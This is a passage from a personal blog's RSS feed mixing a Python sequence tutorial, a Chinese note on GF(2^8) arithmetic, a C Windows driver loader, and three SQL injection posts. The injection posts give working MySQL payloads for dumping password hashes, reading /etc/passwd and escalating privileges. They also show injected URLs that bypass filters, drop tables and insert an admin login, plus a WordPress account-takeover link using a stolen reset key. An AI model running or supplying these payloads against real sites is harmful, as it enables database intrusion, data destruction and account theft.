<p>&gt;&gt;&gt; a[5:10]</p>
<p>[5, 6, 7, 8, 9]</p>
<p>&nbsp;</p></blockquote>
<p>&nbsp;</p>
<p><strong>#Longer steps</strong></p>
<p>The implicit step length is 1,which means that the slice ‘moves’ from one elements to the next.</p>
<p>The step length can’t be zero, But it can be negative, which means extracting the element from right to the left.</p>
<blockquote><p>&gt;&gt;&gt; a[::1]</p>
<p>[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]</p>
<p>&gt;&gt;&gt; a[::-1]</p>
<p>[9, 8, 7, 6, 5, 4, 3, 2, 1, 0]</p>
<p><strong> </strong></p></blockquote>
<p><strong> </strong></p>
<p><strong>Adding Sequence</strong></p>
<p>You can concatenate sequences by using plus operator. But only the same-type sequences can be concatenated.</p>
<blockquote><p>&gt;&gt;&gt; [1,2,3]+[4,5,6]</p>
<p>[1, 2, 3, 4, 5, 6]</p>
<p>&gt;&gt;&gt; [4,5,6]+&#8217;11&#8217;</p>
<p>&nbsp;</p>
<p>Traceback (most recent call last):</p>
<p>File &#8220;&lt;pyshell#10&gt;&#8221;, line 1, in &lt;module&gt;</p>
<p>[4,5,6]+&#8217;11&#8217;</p>
<p>TypeError: can only concatenate list (not &#8220;str&#8221;) to list</p></blockquote>
<p>&nbsp;</p>
<p><strong>Multiplying</strong></p>
<p>Multiplying a sequence with a number x creating a new sequence where the original sequence is repeated x times.</p>
<blockquote><p>&gt;&gt;&gt; &#8216;python&#8217;*3</p>
<p>&#8216;pythonpythonpython&#8217;</p></blockquote>
<p>&nbsp;</p>
<p><strong>Membership</strong></p>
<p>To check whether a sequence contained a value, you can use <strong><em>in</em></strong> operator. It returns Boolean value(True or False)</p>
<blockquote><p>&gt;&gt;&gt; &#8216;aa&#8217; in &#8216;aabc&#8217;</p>
<p>True</p>
<p>&gt;&gt;&gt; 1 in [2,3,4]</p>
<p>False</p></blockquote>
<p>&nbsp;</p>
<p><strong>Length/Maximum/Minimum</strong></p>
<p>The Build-in functions len,max,min</p>
<blockquote><p>&gt;&gt;&gt; max([1,2,3,4,5])</p>
<p>5</p>
<p>&gt;&gt;&gt; max(1,2,3,4,5)</p>
<p>5</p>
<p>&gt;&gt;&gt; len(&#8216;123&#8242;)</p>
<p>3</p>
<p>&gt;&gt;&gt; min(&#8216;abcd&#8217;)</p>
<p>&#8216;a&#8217;</p></blockquote>
<p><strong>Caution: </strong>max and min can be called with numbers directly</p>
<p>&nbsp;</p>
<h1>#2.   List</h1>
<p>List is mutable—you can change it’s contents</p>
<p>&nbsp;</p>
<p><strong>list()</strong></p>
<p>Generating a list with any-type sequence</p>
<blockquote><p>&gt;&gt;&gt; list(&#8216;1234&#8242;)</p>
<p>[&#8216;1&#8242;, &#8216;2&#8217;, &#8216;3&#8217;, &#8216;4&#8217;]</p>
<p>&gt;&gt;&gt; list([1,2,3])</p>
<p>[1, 2, 3]</p></blockquote>
<p>&nbsp;</p>
<p><strong>Item Assignments</strong></p>
<blockquote><p>&gt;&gt;&gt; x=[1,2,3]</p>
<p>&gt;&gt;&gt; x</p>
<p>[1, 2, 3]</p>
<p>&gt;&gt;&gt; x[1]=0</p>
<p>&gt;&gt;&gt; x</p>
<p>[1, 0, 3]</p></blockquote>
<p>&nbsp;</p>
<p><strong>Caution: </strong>Cannot assign to a position doesn’t exist</p>
<p>&nbsp;</p>
<p><strong>Deleting Elements</strong></p>
<p>You can simply use <strong><em>del</em></strong> statement to delete elements</p>
<p>&nbsp;</p>
<blockquote><p>&gt;&gt;&gt; a=[1,2,3,4]</p>
<p>&gt;&gt;&gt; del a[3]</p>
<p>&gt;&gt;&gt; a</p>
<p>[1, 2, 3]</p></blockquote>
<p>&nbsp;</p>
<p><strong>Slice Assignments</strong></p>
<p>You may replace the slice with a sequence whose length is different from that of the original</p>
<blockquote><p>&gt;&gt;&gt; a=[1,2,3]</p>
<p>&gt;&gt;&gt; a[0:1]=[0,0,0,0,0]</p>
<p>&gt;&gt;&gt; a</p>
<p>[0, 0, 0, 0, 0, 2, 3]</p></blockquote>
<p>&nbsp;</p>
<p>Slice assignments can even insert new elements without replace original ones.</p>
<blockquote><p>&gt;&gt;&gt; a=[1,2,3]</p>
<p>&gt;&gt;&gt; a[1:1]=[&#8216;a&#8217;,&#8217;a&#8217;,&#8217;a&#8217;]</p>
<p>&gt;&gt;&gt; a</p>
<p>[1, &#8216;a&#8217;, &#8216;a&#8217;, &#8216;a&#8217;, 2, 3]</p></blockquote>
<p>And you can do the reverse to delete a slice.</p>
<hr />
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>List Methods</strong></p>
<p><strong> </strong></p>
<p>append</p>
<p>The <strong><em>append </em></strong>method is used to append an object to the end of a list.</p>
<p><strong>Caution: </strong>The <strong><em>append </em></strong>method modifies the original list directly.</p>
<p>&nbsp;</p>
<p>count</p>
<p>The <strong><em>count </em></strong>method counts the occurrences of an element in a list.</p>
<p>&nbsp;</p>
<p>extend</p>
<p>The <strong><em>extend </em></strong>method allows you to append several values at once. In other words, the original list has been extended by the other one. And it is an in-place method.</p>
<p>&nbsp;</p>
<p>index</p>
<p>The index method is used for searching lists to find the index of the first occurrence of a value.</p>
<p>&nbsp;</p>
<p>insert</p>
<p>The insert method is used to insert an object into a list.</p>
<p>&nbsp;</p>
<p>pop</p>
<p>The pop method will remove an element (by default, the last one) from the list and returns it.</p>
<p>&nbsp;</p>
<p>remove</p>
<p>The remove method is used to remove the first occurrence of a value. It modifies the list, but returns nothing.</p>
<p><strong>Caution: </strong>It is a “nonreturning in-place changing” method.</p>
<p>&nbsp;</p>
<p>reverse</p>
<p>The reverse method reverses the element in the list. It modifies the list, but returns nothing too.</p>
<p>sort</p>
<p>The sort method is used to sort lists in place.</p>
<p>Another way of getting a sorted copy of the list is using <strong><em>sorted </em></strong>function.</p>
<p>&nbsp;</p>
<p>Advanced Sorting</p>
<p>If you want to have your elements sorted in a specific manner, you can supply a compare function as a parameter to <strong><em>sort</em></strong>.</p>
<p>The <strong><em>sort</em></strong> method has two other optional arguments: <strong><em>key</em></strong> and <strong><em>reverse</em></strong>. These two arguments need to be specified by name.</p>
<p>&nbsp;</p>
<h1>#3 Tuple</h1>
<p>Tuples are sequences, just like lists.The only difference is that tuple is immutable.</p>
<p>The tuple synatx is simple&#8211;if you separate some values with commas, you automatically have a tuple.</p>
<p>Tuple may also be enclosed in parenthese.</p>
<p><strong>Caution: </strong>You must to include a comma, even though there is only one value.</p>
<blockquote><p>&gt;&gt;&gt; 42<br />
(42)<br />
&gt;&gt;&gt; (42,)<br />
(42,)</p></blockquote>
<p>The tuple function</p>
<p>The tuple function is pretty much the same way as list.</p>
<p>It takes one sequence argument and converts it to a tuple.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/language/py/id=129/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GF(28)域的基本运算</title>
		<link>http://lagon.eu5.org/uncategorized/id=124</link>
		<comments>http://lagon.eu5.org/uncategorized/id=124#comments</comments>
		<pubDate>Wed, 03 Sep 2014 09:22:25 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=124</guid>
		<description><![CDATA[转载于http://blog.csdn.net/jymn_chen/article/details/12389955 GF(2^8)，也就是在一个字节上所做的乘法和加法都封闭的一个有限域。 在GF(2^8)上只有两种运算：异或加运算和乘法运算。 其中异或加运算就是1 xor 1 = 0, 0 xor 0 = 0, 1 xor 0 = 1。（原谅我的啰嗦） 乘法运算的规则就是： （1）A * 2的时候，A左移一位；A * 4 = (A * 2) * 2，A <a class="read-more" href="http://lagon.eu5.org/uncategorized/id=124">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<p>转载于<a title="http://blog.csdn.net/jymn_chen/article/details/12389955" href="http://blog.csdn.net/jymn_chen/article/details/12389955">http://blog.csdn.net/jymn_chen/article/details/12389955</a></p>
<p>GF(2^8)，也就是在一个字节上所做的乘法和加法都封闭的一个有限域。 在GF(2^8)上只有两种运算：异或加运算和乘法运算。 其中异或加运算就是1 xor 1 = 0, 0 xor 0 = 0, 1 xor 0 = 1。（原谅我的啰嗦） 乘法运算的规则就是： （1）A * 2的时候，A左移一位；A * 4 = (A * 2) * 2，A * 8 = ((A * 2) * 2) * 2，容易看出乘上2的n次幂是一个不断迭代的过程。 （2）那么A * 6的情况有如何？很简单，A * 6 = (A * 2) xor (A * 4)，注意在该域中加法都是xor运算，而不是算术加运算。另外，可能有人会问：A * 4 = (A * 2) xor (A * 2) = 0，这不是和（1）冲突了吗？ 原因在于：A * 6 = A * 00000110，其中00000110 = 00000100 xor 00000010，但是A * 4 = A * 00000100，00000100 != 00000010 xor 00000010 (= 00000000)。 （3）在乘法运算中，若乘数左移结果中第8位左边非0，例如10000000 * 00000100 = 10000000 * 2 * 2，其中10000000 * 2 = (1)00000000，结果溢出，所以要再和1BH进行异或加运算，即结果为00000000 xor 00011011 = 00011011。然后00011011 * 2 = 00110110即为结果。 错误做法：10000000 * 4 = (10)00000000 xor 00011011 = 00011011，为什么呢？因为10000000 * 2已经溢出，要先做溢出处理。 注：为什么是1BH？因为在AES的设计中开发者选用了不可约多项式m(x) = x^8 + x^4 + x^3 + x + 1，所以如果结果溢出就要再xor一个00011011（也就是1BH）。</p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/uncategorized/id=124/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL SQL Injection Cheat Sheet</title>
		<link>http://lagon.eu5.org/web-security/sql-injection/id=102</link>
		<comments>http://lagon.eu5.org/web-security/sql-injection/id=102#comments</comments>
		<pubDate>Sat, 03 May 2014 05:20:48 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[SQLi]]></category>
		<category><![CDATA[cheat sheet]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=102</guid>
		<description><![CDATA[The original link :pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet Some useful syntax reminders for SQL Injection into MySQL databases… &#160; This post is part of a series of SQL Injection Cheat Sheets<a class="read-more" href="http://lagon.eu5.org/web-security/sql-injection/id=102">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<p><span style="color: #0000ff;">The original link :<a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet"><span style="color: #0000ff;">pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet</span></a></span></p>
<p>Some useful syntax reminders for SQL Injection into MySQL databases…</p>
<p>&nbsp;</p>
<p>This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.</p>
<p>&nbsp;</p>
<p>Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.</p>
<table border="1">
<tbody>
<tr>
<td>Version</td>
<td>SELECT @@version</td>
</tr>
<tr>
<td>Comments</td>
<td>SELECT 1; #comment<br />
SELECT /*comment*/1;</td>
</tr>
<tr>
<td>Current User</td>
<td>SELECT user();<br />
SELECT system_user();</td>
</tr>
<tr>
<td>List Users</td>
<td>SELECT user FROM mysql.user; — priv</td>
</tr>
<tr>
<td>List Password Hashes</td>
<td>SELECT host, user, password FROM mysql.user; — priv</td>
</tr>
<tr>
<td>Password Cracker</td>
<td><a href="http://www.openwall.com/john/">John the Ripper</a> will crack MySQL password hashes.</td>
</tr>
<tr>
<td>List Privileges</td>
<td>SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns</td>
</tr>
<tr>
<td>List DBA Accounts</td>
<td>SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv</td>
</tr>
<tr>
<td>Current Database</td>
<td>SELECT database()</td>
</tr>
<tr>
<td>List Databases</td>
<td>SELECT schema_name FROM information_schema.schemata; — for MySQL &gt;= v5.0<br />
SELECT distinct(db) FROM mysql.db — priv</td>
</tr>
<tr>
<td>List Columns</td>
<td>SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’</td>
</tr>
<tr>
<td>List Tables</td>
<td>SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’</td>
</tr>
<tr>
<td>Find Tables From Column Name</td>
<td>SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’</td>
</tr>
<tr>
<td>Select Nth Row</td>
<td>SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0<br />
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0</td>
</tr>
<tr>
<td>Select Nth Char</td>
<td>SELECT substr(‘abcd’, 3, 1); # returns c</td>
</tr>
<tr>
<td>Bitwise AND</td>
<td>SELECT 6 &amp; 2; # returns 2<br />
SELECT 6 &amp; 1; # returns 0</td>
</tr>
<tr>
<td>ASCII Value -&gt; Char</td>
<td>SELECT char(65); # returns A</td>
</tr>
<tr>
<td>Char -&gt; ASCII Value</td>
<td>SELECT ascii(‘A’); # returns 65</td>
</tr>
<tr>
<td>Casting</td>
<td>SELECT cast(’1′ AS unsigned integer);<br />
SELECT cast(’123′ AS char);</td>
</tr>
<tr>
<td>String Concatenation</td>
<td>SELECT CONCAT(‘A’,&#8217;B’); #returns AB<br />
SELECT CONCAT(‘A’,&#8217;B’,&#8217;C’); # returns ABC</td>
</tr>
<tr>
<td>If Statement</td>
<td>SELECT if(1=1,’foo’,&#8217;bar’); — returns ‘foo’</td>
</tr>
<tr>
<td>Case Statement</td>
<td>SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A</td>
</tr>
<tr>
<td>Avoiding Quotes</td>
<td>SELECT 0×414243; # returns ABC</td>
</tr>
<tr>
<td>Time Delay</td>
<td>SELECT BENCHMARK(1000000,MD5(‘A’));<br />
SELECT SLEEP(5); # &gt;= 5.0.12</td>
</tr>
<tr>
<td>Make DNS Requests</td>
<td>Impossible?</td>
</tr>
<tr>
<td>Command Execution</td>
<td>If mysqld (&lt;5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  <a href="http://www.0xdeadbeef.info/exploits/raptor_udf.c">raptor_udf.c</a> explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.</td>
</tr>
<tr>
<td>Local File Access</td>
<td>…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.<br />
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system</td>
</tr>
<tr>
<td>Hostname, IP Address</td>
<td>SELECT @@hostname;</td>
</tr>
<tr>
<td>Create Users</td>
<td>CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv</td>
</tr>
<tr>
<td>Delete Users</td>
<td>DROP USER test1; — priv</td>
</tr>
<tr>
<td>Make User DBA</td>
<td>GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv</td>
</tr>
<tr>
<td>Location of DB files</td>
<td>SELECT @@datadir;</td>
</tr>
<tr>
<td>Default/System Databases</td>
<td>information_schema (&gt;= mysql 5.0)<br />
mysql</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/web-security/sql-injection/id=102/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQLi Cheet Sheet</title>
		<link>http://lagon.eu5.org/web-security/sql-injection/id=96</link>
		<comments>http://lagon.eu5.org/web-security/sql-injection/id=96#comments</comments>
		<pubDate>Fri, 02 May 2014 07:05:01 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[SQLi]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=96</guid>
		<description><![CDATA[Useful Sqli instructions all databases : select group_concat(SCHEMA_NAME) from  INFORMATION_SCHEMa.SCHEMATA tables for current database: select group_concat(table_name) from  INFORMATION_SCHEMa.tables where table_schema=database()<a class="read-more" href="http://lagon.eu5.org/web-security/sql-injection/id=96">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<h1><span style="color: #ff0000;">Useful Sqli instructions</span></h1>
<p><span style="color: #0000ff;">all databases :</span></p>
<p>select group_concat(SCHEMA_NAME) from  INFORMATION_SCHEMa.SCHEMATA</p>
<p><span style="color: #0000ff;">tables for current database:</span></p>
<p>select group_concat(table_name) from  INFORMATION_SCHEMa.tables where table_schema=database()</p>
<p><span style="color: #0000ff;">columns in table:</span></p>
<p>select group_concat(columns_name) from  Information_schema.columns where table_name=[real_table_name]</p>
<p><span style="color: #0000ff;"><span style="color: #000080;">update :5/3/2014    </span></span></p>
<p><span style="color: #0000ff;"><span style="color: #000080;"><a href="http://www.madleets.com/Thread-SQL-Injection-Tutorial-All-common-SQL-injection-problems-and-Solutions" target="_blank"><span style="color: #000080;">http://www.madleets.com/Thread-SQL-Injection-Tutorial-All-common-SQL-injection-problems-and-Solutions</span></a></span><br />
</span></p>
<p><span style="font-weight: bold;"><span style="color: #ff6600;">Order by is being block?</span></span><span style="color: #ff00ff;"><br />
</span></p>
<p>Order by || group by || <span style="color: #ff0000;">and (select * from admins)=(select 1)</span></p>
<p>&nbsp;</p>
<p><span style="font-weight: bold;"><span style="color: #ff6600;">&#8216;order by 10000&#8242; and still not error?</span></span><span style="color: #ff00ff;"><br />
</span></p>
<p><span style="color: #ff00ff;">Example : site.com/news.php?id=9 order by 10000000000&#8211; [No Error]</span></p>
<p><span style="color: #ff00ff;">to bypass this you just have to </span><span style="color: #ff00ff;">change</span><span style="color: #ff00ff;"> the URL little bit.Add &#8216; after the ID number and at the end just enter +</span></p>
<p><span style="color: #ff00ff;">site.com/news.php?id=9&#8242; order by 10000000&#8211;+[Error]</span></p>
<p>&nbsp;</p>
<p><span style="font-weight: bold;"><span style="color: #ff6600;"><span style="font-weight: bold;"><span style="color: #ff6600;">I get error if I try to extract tables.</span></span><span style="color: #ff00ff;"><br />
</span></span></span><span style="color: #ff00ff;">site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables</span></p>
<p><span style="font-weight: bold;"><span style="color: #ff6600;"><span style="color: #ff00ff;"><span style="color: #ff00ff;"><span style="color: #ff6600;">Change the URL for this</span></span></span></span></span></p>
<p><span style="font-weight: bold;"><span style="color: #ff6600;"><span style="color: #ff00ff;"><span style="color: #ff00ff;">site.com/new.php?id=9 union select 1,2,concat(unhex(hex(table_name),4 from information_schema.tables limit0,1&#8211;+</span></span></span></span></p>
<p><span style="font-weight: bold;"><span style="color: #ff6600;">modify the information in the database </span></span></p>
<p><span style="color: #ff0000;">drop table</span></p>
<p><span style="color: #ff00ff;">http://site.com/news.php?id=1; DROP TABLE news</span></p>
<p><span style="color: #ff0000;">update database</span></p>
<p><span style="color: #ff00ff;">http://site.com/news.php?id=1; UPDATE &#8216;Table name&#8217; SET &#8216;data you want to edit&#8217; = &#8216;new data&#8217; WHERE column_name=&#8217;information&#8217;&#8211;+</span></p>
<p><span style="color: #ff0000;">INSERT</span></p>
<p><span style="color: #ff00ff;">http://site.com/news.php?id=1; INSERT INTO &#8216;admin_login&#8217; (&#8216;login_id&#8217;, &#8216;login_name&#8217;, &#8216;password&#8217;, &#8216;details&#8217;) VALUES (2,&#8217;Rynaldo&#8217;,&#8217;Crackhackforum&#8217;,&#8217;NA&#8217;)&#8211;</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/web-security/sql-injection/id=96/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>对于wordpress有用的SQL 语句</title>
		<link>http://lagon.eu5.org/web-security/sql-injection/hack-wordpress/id=76</link>
		<comments>http://lagon.eu5.org/web-security/sql-injection/hack-wordpress/id=76#comments</comments>
		<pubDate>Thu, 01 May 2014 15:51:29 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[Hack WordPress]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=76</guid>
		<description><![CDATA[WP默认存储用户信息的表示  wp_users 下面是几个有用的字段： user_login user_pass user_email user_activation_key 最后是利用获取到的重设密码的激活码的使用链接 http://{DOMAIN_NAME_HERE}/wp-login.php?action=rp&#038;key={ACTIVATION_KEY_HERE}&#038;login={USERNAME_HERE}]]></description>
				<content:encoded><![CDATA[<p>WP默认存储用户信息的表示  <span class="crayon-i">wp_users</span></p>
<p>下面是几个有用的字段：</p>
<p><span class="crayon-i">user_login</span></p>
<p><span class="crayon-i">user_pass</span></p>
<p><span class="crayon-i">user_email</span></p>
<p><span class="crayon-i">user_activation_key</span></p>
<p>最后是利用获取到的重设密码的激活码的使用链接</p>
<p>http://{DOMAIN_NAME_HERE}/wp-login.php?action=rp&#038;key={ACTIVATION_KEY_HERE}&#038;login={USERNAME_HERE}</p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/web-security/sql-injection/hack-wordpress/id=76/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Install a NT Driver</title>
		<link>http://lagon.eu5.org/windows-kernel/id=68</link>
		<comments>http://lagon.eu5.org/windows-kernel/id=68#comments</comments>
		<pubDate>Thu, 24 Apr 2014 05:20:38 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[Windows Kernel]]></category>
		<category><![CDATA[LoadDriver]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=68</guid>
		<description><![CDATA[#include &#8220;windows.h&#8221; #include &#8220;stdio.h&#8221; #include &#8220;stdlib.h&#8221; BOOL LoadDriver(SC_HANDLE schSCManager, //SCM Handle LPCSTR lpszDriverName, //Driver Name LPCSTR lpszServiceFullPath); //full-qualifie<a class="read-more" href="http://lagon.eu5.org/windows-kernel/id=68">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<p>#include &#8220;windows.h&#8221;<br />
#include &#8220;stdio.h&#8221;<br />
#include &#8220;stdlib.h&#8221;<br />
BOOL LoadDriver(SC_HANDLE schSCManager, //SCM Handle<br />
LPCSTR lpszDriverName, //Driver Name<br />
LPCSTR lpszServiceFullPath); //full-qualified path<br />
BOOL RemoveDriver(SC_HANDLE schSCManager, //SCM handle<br />
LPCTSTR lpszDriverName); //Driver Name<br />
BOOL StartDriver(SC_HANDLE schSCManager,<br />
LPCTSTR lpszDriverName);<br />
BOOL StopService(SC_HANDLE schSCManager,<br />
LPCTSTR lpszDriverName);</p>
<p>int main()<br />
{<br />
char szFilePath[MAX_PATH];<br />
char* pszFileName;<br />
OPENFILENAMEA stOpenFileName;<br />
BOOL zRet;<br />
SC_HANDLE schSCManager;<br />
//<br />
RtlZeroMemory(&amp;stOpenFileName ,sizeof(OPENFILENAME));<br />
RtlZeroMemory(szFilePath ,sizeof(char)*MAX_PATH);<br />
stOpenFileName.lStructSize = sizeof(OPENFILENAME);;<br />
stOpenFileName.lpstrFilter = &#8220;驱动(*.sys)\0\0&#8243;;<br />
stOpenFileName.lpstrFile = szFilePath;<br />
stOpenFileName.nMaxFile = MAX_PATH;<br />
stOpenFileName.Flags = OFN_FILEMUSTEXIST;<br />
zRet = GetOpenFileName(&amp;stOpenFileName);<br />
MessageBox(NULL, stOpenFileName.lpstrFile, stOpenFileName.lpstrFile+stOpenFileName.nFileOffset, 0);<br />
//<br />
pszFileName = stOpenFileName.lpstrFile + stOpenFileName.nFileOffset;<br />
//<br />
schSCManager = OpenSCManager(NULL,//Machine Name<br />
NULL,//local database<br />
SC_MANAGER_ALL_ACCESS);<br />
//<br />
if ( !schSCManager )<br />
{<br />
printf(&#8220;Open SCM Failed ERROR:%X\n&#8221;,GetLastError());<br />
system(&#8220;pause&#8221;);<br />
return -1;<br />
}</p>
<p>//TODO: check the path<br />
if ( LoadDriver(schSCManager, pszFileName, &amp;szFilePath) )<br />
{<br />
printf(&#8220;Load Success!\n&#8221;);<br />
}</p>
<p>system(&#8220;pause&#8221;);</p>
<p>if ( StartDriver(schSCManager, pszFileName) )<br />
{<br />
printf(&#8220;Start Success!\n&#8221;);<br />
}</p>
<p>system(&#8220;pause&#8221;);<br />
if ( StopService(schSCManager, pszFileName) )<br />
{<br />
printf(&#8220;Stop Success!\n&#8221;);<br />
}</p>
<p>system(&#8220;pause&#8221;);<br />
if ( RemoveDriver(schSCManager, pszFileName) )<br />
{<br />
printf(&#8220;Remove Success!\n&#8221;);<br />
}</p>
<p>system(&#8220;pause&#8221;);</p>
<p>CloseServiceHandle(schSCManager);</p>
<p>return 0;<br />
}</p>
<p>BOOL LoadDriver(SC_HANDLE schSCManager , //SCM Handle<br />
LPCSTR lpszDriverName , //Driver Name<br />
LPCSTR lpszServiceFullPath) //full-qualified path<br />
{<br />
SC_HANDLE schService = NULL;<br />
DWORD dwErrorRet;</p>
<p>schService = CreateService(schSCManager ,<br />
lpszDriverName , //Service name<br />
lpszDriverName , //Service to display<br />
SERVICE_ALL_ACCESS , //desired access<br />
SERVICE_KERNEL_DRIVER , //service type<br />
SERVICE_DEMAND_START , //start type<br />
SERVICE_ERROR_IGNORE , //error control type<br />
lpszServiceFullPath , //full-qualified path<br />
NULL ,NULL ,NULL ,NULL ,NULL<br />
);</p>
<p>if (!schService)<br />
{<br />
dwErrorRet = GetLastError();<br />
if (dwErrorRet == ERROR_SERVICE_EXISTS)<br />
{<br />
printf(&#8220;Service Existed!\n&#8221;);<br />
return TRUE;<br />
}<br />
else<br />
{<br />
printf(&#8220;CreateService failed ! Error:%X\n&#8221; ,dwErrorRet);<br />
return FALSE;<br />
}<br />
}</p>
<p>//Create Successfully<br />
//Close the service<br />
printf(&#8220;Create Service Successful!&#8221;);<br />
if (schService)<br />
CloseServiceHandle(schService);<br />
return TRUE;</p>
<p>}</p>
<p>//remove service<br />
BOOL RemoveDriver(SC_HANDLE schSCManager ,//SCM handle<br />
LPCTSTR lpszDriverName)//Driver Name<br />
{<br />
SC_HANDLE schService;<br />
BOOL zRet;<br />
//Open an Existing Service<br />
schService = OpenService(schSCManager ,<br />
lpszDriverName ,<br />
SERVICE_ALL_ACCESS);</p>
<p>if (!schService)<br />
{<br />
printf(&#8220;Open Service Failed! ERROR:%X\n&#8221; ,GetLastError());<br />
return FALSE;</p>
<p>}<br />
//Delete Service<br />
if (DeleteService(schService))<br />
{<br />
zRet = TRUE;<br />
}<br />
else<br />
{<br />
printf(&#8220;DeleteService Failed! ERROR:%X\n&#8221; ,GetLastError());<br />
zRet = FALSE;<br />
}<br />
if (schService)<br />
{<br />
//printf(&#8220;DeleteService Successful!\n&#8221;);<br />
CloseServiceHandle(schService);<br />
}<br />
return zRet;</p>
<p>}</p>
<p>//start service<br />
BOOL StartDriver(SC_HANDLE schSCManager ,<br />
LPCTSTR lpszDriverName)<br />
{<br />
SC_HANDLE schService;<br />
DWORD dwErrorRet;</p>
<p>//Open Service<br />
schService = OpenService(schSCManager ,<br />
lpszDriverName ,<br />
SERVICE_ALL_ACCESS);</p>
<p>if (!schService)<br />
{<br />
printf(&#8220;Open Service Failed! ERROR:%X\n&#8221; ,GetLastError());<br />
return FALSE;</p>
<p>}<br />
if (!StartService(schService ,0 ,NULL))<br />
{<br />
//failed<br />
dwErrorRet = GetLastError();<br />
if (dwErrorRet == ERROR_SERVICE_ALREADY_RUNNING) //service has been running<br />
return TRUE;<br />
else<br />
{<br />
printf(&#8220;StartSerivce Failed!ERROR:%X\n&#8221; ,dwErrorRet);<br />
return FALSE;<br />
}<br />
}<br />
if (schService)<br />
CloseServiceHandle(schService);<br />
return TRUE;</p>
<p>}</p>
<p>//stop service<br />
BOOL StopService(SC_HANDLE schSCManager ,<br />
LPCTSTR lpszDriverName)<br />
{<br />
SC_HANDLE schService;<br />
SERVICE_STATUS stServiceStatus;<br />
BOOL zRet;<br />
//Open Service<br />
schService = OpenService(schSCManager ,<br />
lpszDriverName ,<br />
SERVICE_ALL_ACCESS);</p>
<p>if (!schService)<br />
{<br />
printf(&#8220;Open Service Failed! ERROR:%X\n&#8221; ,GetLastError());<br />
return FALSE;</p>
<p>}</p>
<p>if (ControlService(schService ,<br />
SERVICE_CONTROL_STOP ,<br />
&amp;stServiceStatus))<br />
{<br />
zRet = TRUE;<br />
}<br />
else<br />
{<br />
//Failed<br />
printf(&#8220;StopService Failed ! ERROR:%X\n&#8221; ,GetLastError());<br />
zRet = FALSE;<br />
}<br />
if (schService)<br />
CloseServiceHandle(schService);</p>
<p>return zRet;<br />
}</p>
